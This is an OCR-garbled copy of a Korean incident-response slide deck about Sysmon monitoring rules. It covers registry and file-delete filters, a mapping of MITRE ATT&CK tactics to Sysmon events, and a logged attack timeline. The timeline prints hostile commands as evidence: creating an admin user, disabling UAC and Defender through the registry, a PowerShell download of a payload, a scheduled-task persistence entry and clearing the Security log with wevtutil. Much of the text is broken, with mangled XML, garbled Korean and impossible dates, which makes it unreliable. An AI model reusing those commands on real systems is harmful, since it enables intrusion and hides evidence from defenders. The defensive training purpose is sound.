contains">CurrentVersion\Windows\Run</Target
contains">CurrentVersion\Winlogon\Shell</Tar

<TargetObject Registry Auto Run" contains">CurrentVersion\Winlogon\System</Ta

arge i W oconditio i ith"
aTaLgLLObJLLL Reg%stry_huto Run \,ur,d%L beg}n W]:th >HIC[.M\SYSTEM\Cur?enthntraIISEt\Co - DI‘A x{xH H j;' El.x
<TargetObject Registry Auto Run" condift begin with">HKLM\Software\Microsoft\Windows [ | O "1 -0 O
<TargetObject Registry Aute Run" condit contains'">Microsoft\Windows\CurrentVersion\E:
<TargetObject Registry Auto Run" contains'>Software\Microsoft\Windows\Current

<TargetObject name="Registry_ Auto Run"
<TargetObject name="Registry Aute Run" condit
<TargetObject name="Registry Auto Run" condit

n="contains">software\microsoft\windows\current
="contains">software\microsoft\windows\current
on="begin with">HKLM\software\microsoft\command

USB &, AZ offiX| EX|

1

<TargetObject RDP Connected" cond contains">\Software\Microsoft\Terminal Server Cl.

<TargetObject RDP Port Modified" on="end with">RDP-tcp\PortNumber</TargetObject>

<TargetCbject Shared Folder" condi begin with">HKLM\SYSTEM\CurrentControlSet\Servic

<TargetObject LSA Modified" condition="begin with">HKLM\SYSTEM\CurrentControlSet\Control [ ] WlndOWS HI'§|-H:| O:”QI ]IE_’ 2H H{>4 El’xl
<TargetObject Firewall Exception Program Modified" condition="begin with">HKLM\SYSTEM\Cu [®) =] — — O O O
<TargetObject Office Enable Editing" condition="contains'">Security\Trusted Documents\Tru

<TargetObject "UAC Modified" condition="begin with">HKIM\Software\Microsoft\Windows\Curre

<TargetObject UAC Remote Restrictions Modified" condition="begin with">HKIM\Software\Mic:

<TargetObject "IFEO Modified" condition="begin with">HKIM\Software\Microsoft\Windows NT\Ci

<TargetCbject IE Enhanced Security Modification" condition="begin with">HKLM\Software\Po le XIE AlSH xl A SEARS I:II-O-I §|]I| Xl-;:l =04 M
<TargetCbject "Safemode Modified" conditi "begin with">HKIM\SYSTEM\CurrentControlSet\Co: -4 O T = O -1 —-_L- OO (@] TO O Hi-
<TargetObject Disable Password Change" tion="contains">\services\Netlogon\Parameter

j i i ing" condition=" i " B N

LI e e pent e e s\ \servicn) 2424 =01 0|5 2% U ol xof | Oo|E 9F 4}
<Targetobject gging” condi > ; =10 == Yo = [CNSEES = X
<TargetObject name="Application Shimming" condition="begin with">HKLM\Software\Microsoft\Windo:

FIND TRUTH, SEEK JUSTICE. 24
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=Q 2 Mo (9/9)

FileDelete

« AAEIOM OFE AX Al DS

ru =| X~ ol AFH| & ™ 30

o 34 IH0M IfH AN =& 20l

<!-- Event ID 23. File Delete archived -->

<l-- 29%: File Delete archived OME: AA=0M Mol MHHS ©f 7IF=0], AHE 0ol
<RuleGroup name="" groupRelation="or">

<FileDelete onmatch="include">
<Rule name="Office documents" groupRelation="or">

<TargetFilename condition="end with">.doc</TargetFilename> -

<TargetFilename condition="end with">.dot</TargetFilename> - éi%’lg 3:' ]I'IloliE %,I-

<TargetFilename condition="end with">.docx</TargetFilename>

<TargetFilename condition="end with">.docm</TargetFilename:>

<TargetFilename condition="end with">.doc</TargetFilename>

<TargetFilename condition="end with">.dot</TargetFilename>

<TargetFilename condition="end with">.docx</TargetFilename>

<TargetFilename condition="end with">.docm</TargetFilename>

<TargetFilename condition="end with">.dotx</TargetFilename>

<TargetFilename condition="end with">.dotm</TargetFilename>

<TargetFilename condition="end with">.docb</TargetFilename> x XIE AlSH sy o HtH & 24=04{ X
<TargetFilename condition="end with">.xls</TargetFilename> _I_jl = =o A B d © O-i 9_|]I| X|' oo Hi
<TargetFJ:_lename cond%tj:_on:"end w:i.th">.xlt</TargetF%lename> HFJo =0 OlE x| o1tk
<TargetFilename condition="end with">.x1lm</TargetFilename> = = L o T d [eXe]

. Office

=X SRS O I

FIND TRUTH, SEEK JUSTICE.
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MITRE ATT&CK M=

n _Cl)_l [ex|

ESEE
(Initial Access)

Network
Connect

FileCreate

FileCreate
StreamHash

EFX| X|E2 AFE 7}

AlS
=d

(Execution)

Process
Create

DriverLoad

ImageLoad

CreateRemote

Thread

FileCreate

WMIEvent
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(Persistence)

Process
Create

DriverLoad

ImagelLoad

FileCreate

FileCreate

Registry
Event

FileCreate

StreamHash

=
o

et &5

(Privilege
Escalation)

Process
Create

DriverLoad

ImagelLoad

Process
Access

FileCreate

Registry
Event

WMIEvent

20 2|0
(Defense
Evasion)

Process
Create

FileCreateTime
Changed

ImageLoad

CreateRemote
Thread

Process
Access

FileCreate

Registry
Event

PipeEvent

FileDelete

XHZH Y2

Ffa
(Credential (Discover )
Access) ¥
Process Process
Access Create
WMIEvent FileCreate
Registry
Event
FileCreate
StreamHash
DnsQuery
WMIEvent

L% o]
(Lateral
Movement)

Network
Connect

Process
Access

FileCreate

WMIEvent

A XI
T d

(Collection)

FileCreate

FileCreate
StreamHash

WMIEvent

ZE 3 MO
(Command
and Control)

Network
Connect

Imageload

FileCreate

PipeEvent

DnsQuery

CIOIH /= gt
(Exfiltration) (Impact)

Network

Connect FileDelete

FileCreate

FileDelete

RawAccessRead
Detected
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He

- I AN 25

2 = U IS ALE| 2 E A& HIAE +

SAHZ T MY

3. 01U OfZ=E
(PowerShell)

1 1 1 1
[ 1 1 1
6. LIE O i 18:46:23 18:46:01 18:45:05 ~ 18:45:06 18:43:38
e 4 A3=8 B8 HEY3 2714 UAC aliA]| HHAl M A
_________________ ~ 34 =Y (Windows Defender)
PCA \ HEPCB
|
|
| Q Q
I 1 1
2A848Y 4 9y m .
270l (king) Al | 18:46:47 18:47:23
\ O[HIE 27 A3 U= ol
e e e e e e e e e e = = e e = = = = = — / (wevtutil)
HAE ALIZ|R JHR =

0 Q Q Q

18:40:02 18:40:26 18:40:42 18:41:55 ~ 18:41:57
oA M HA AlM administrators 23 %7} o pg2e
(192.168.199.92:3389) (king) (king) (PowerShell)

Q Q Q Q
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@ PLAINSIT

EHIAE A1}
UA| OMIE 2% M UWE &5 UA| OMIE R oAl WE EX
2023-10-20 Sourcelp: 192.168.199.92 ParentCommandLine: wscript DisableUAC.vbs
2 H& L Network Connect )
18:40:02 DestinationPort: 3389 2098-10-20 CommandLine:
2023-10-20 CommandLine: UAC 3| "C:\Windows\System32\cmd.exe" /c reg ADD Process Create
Ad 4 , Process Create 18:45:06 ] ) .
18:40:26 add user king kong1234!@ /add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\
2023-10-20 & F7t CommandLine: Policies\System /v EnableLUA /t REG_DWORD /d O /f
- L . Process Create
18:40:42 (administrators) net localgroup administrators king /add Image:
- 2023-10-20
CommandLine: . HIESI A4 C:\Users\king\goon3_win_amd64.exe Network Connect
2023-10-20 O OHe2E powershell.exe Invoke-\WebRequest -Uri o X SIS O[HIE Ci2 era
18:41:55 (PowerShell) "http://{IP}/kkkk5555/1234.zip" ~OutFile Process Creats ——
41: owerShe " ttp:// /. /‘ : zip" ~OutFi Y5102 CommandLine:
C:\Users\king\1234.2p X AHiEE S8 "C:\Windows\System32\cmd.exe" /C Process Create
Image: C:\Windows\System32\WindowsPowerShell\ 18:46:23 . . »
C:\Users\king\Scheduler.bat
2023-10-20 o OHR2E v1.0\powershell.exe :
18:41:57 (PowerShel) Destinationlo: 3.34.4.133 Network Connect ParentCommandLine:
41: owerShe Desﬂnaﬁon :c-m_. 30- . "C:\Windows\System32\cmd.exe" /C
nafionrort i 2023-10-20 . __ | c\sers\king\Scheduler.bat”
2023-10-20 X CommandLine: "C:\Windows\System32\cmd.exe" /C . Y AAER S5 e Process Create
18:43:38 e "C:\Users\king\DisableWindowsDefender.bat” Process Creats 18:46:23 CommandLine:
i "Usersiking e TTnconsTeTencer at schtasks /Create /SC ONCE /TN "MS Office" /TR
PerentCommandLine: i "C:\Users\king\king.exe" /ST 23:59 /F
.E'\:}JV'”dots\s‘gfteg33}°"gd'e"; g e WDT020 | o oz =g | * Tar0etlename: e Cront
: A =2 ile Create
W20 | e - \ f;f_\ LR s L Ll e 18:46:23 = C:\Windows\System32\Tasks\MS Office
o 1 1 t -
18:43:38 argetoiee o , eaisiry Even 2023-10-20 CommandLine:
HKLM\SOFTWARE\Policies\Microsoft\Windows O[HIE =77 AtH| . . Process Create
: _ _ 18:46:47 wevtutil ¢l Security
Defender\DisableAntiSpyware Details: DWORD -
TargetObject:
(0x00000001)
- HKU\S-1-5-21-3728364944-3941103186~
2023-10-20 _ CommandLine: )
UAC aiiH| o Process Create 2023-10-20 3578969269-1001\Software\Microsoft\ )
18:45:05 wscript DisableUAC vbs L{E 0| , ‘ Registry Event
18:47:23 Terminal Server Client\Servers\192.168.199.123\

FIND TRUTH, SEEK JUSTICE.
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Sysmon vs. EDR (Endpoint Detection and Response)

=il Sysmon
o9 =X A= QIEOM
NS S|At EF 20| HMetet JEf 2 1191 Obs
g 25 CHE HOoF SR A3 TS 2ts
INEeeIG R X

QUEJH|O] A0 BEEIX| Q5X[ZH

[=E|
o9 HXIAM = = =
se e (H| =LA SXof| w2t RASHH 28 7ts)
FX2E H WM X2 HEL 2 FX|/&H2| Its
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= AlO Olsi]| CHot 221 2t AT CHE H| K2 2HA
[O|£H {0l Cifgt 22 243t > AL TS HIR 264 ) P .
) ) T (12 B2) (168 4478 2|)
o UHEHSPH SAI|HUHME AO|H 2 &Ml 22 2t
DEOHIE 7|2 600MB of 2
- REHCE 2o YY1t fl" =28 Yts
olafhartong 15MB °F 68
(23 2|t 271 1GB 28 Al, 2f 5120] siHot= 24)
Neo23x0 8MB QF 1284
SwiftOnSecurity 6~7MB F171L
PLAINBIT 2MB °F512¢
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= Sysmon 29I EX| 2 x|

= Sysmon ?® 2LEHY Z7 ME (SaasS EA4)

= Linux CHAS AfOJH] 918 22 ot 917
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